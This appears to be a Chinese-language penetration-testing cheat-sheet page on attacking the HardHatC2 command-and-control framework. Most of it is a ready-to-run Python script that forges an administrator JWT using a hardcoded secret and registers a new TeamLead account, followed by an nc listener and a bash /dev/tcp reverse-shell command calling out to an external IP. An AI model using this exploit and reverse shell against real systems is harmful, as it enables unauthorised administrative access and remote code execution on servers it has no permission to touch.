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# HardHatC2 - 7096
HardHatC2 认证绕过、伪造 JWT 生成、TeamLead 用户创建和植入程序反向 Shell 执行。
{% hint style="info" %}
HardHatC2 是一个基于 C# 和 .NET 的多用户命令与控制（C2）框架，专为红队演练和渗透测试而设计。它包含一个 ASP.NET Team Server、一个 Blazor .NET 客户端，以及集成的 C# 植入程序，并支持其他语言的第三方植入程序。
{% endhint %}
## **HardHat C2 身份验证绕过**
{% embed url="" %}
使用以下脚本绕过身份验证并创建新用户：
```python
import jwt
import datetime
import uuid
import requests
rhost = '127.0.0.1:5000'
# 构造管理员 JWT
secret = "jtee43gt-6543-2iur-9422-83r5w27hgzaq"
issuer = "hardhatc2.com"
now = datetime.datetime.utcnow()
expiration = now + datetime.timedelta(days=28)
payload = {
"sub": "HardHat_Admin",
"jti": str(uuid.uuid4()),
"http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier": "1",
"iss": issuer,
"aud": issuer,
"iat": int(now.timestamp()),
"exp": int(expiration.timestamp()),
"http://schemas.microsoft.com/ws/2008/06/identity/claims/role": "Administrator"
}
token = jwt.encode(payload, secret, algorithm="HS256")
print("生成的 JWT：")
print(token)
# 使用管理员 JWT 以 TeamLead 身份创建新用户 'sth_pentest'
burp0_url = f"https://{rhost}/Login/Register"
burp0_headers = {
"Authorization": f"Bearer {token}",
"Content-Type": "application/json"
}
burp0_json = {
"password": "jordan12345",
"role": "TeamLead",
"username": "jordan"
}
r = requests.post(burp0_url, headers=burp0_headers, json=burp0_json, verify=False)
print(r.text)
```
该脚本会生成 `jordan` 用户，具有 `TeamLead` 角色。
## HardHat C2 远程代码执行
在 `ImplantInteract` 部分中，可以获得终端访问权限。运行 `whoami` 显示当前用户是 `sergej`.
以 `sergej` 身份建立反向 shell，同时监听 443 端口：
```bash
nc -nlvp 443
```
运行以下命令以发起反向连接：
```bash
bash -c "bash -i >& /dev/tcp/10.10.14.163/443 0>&1"
```
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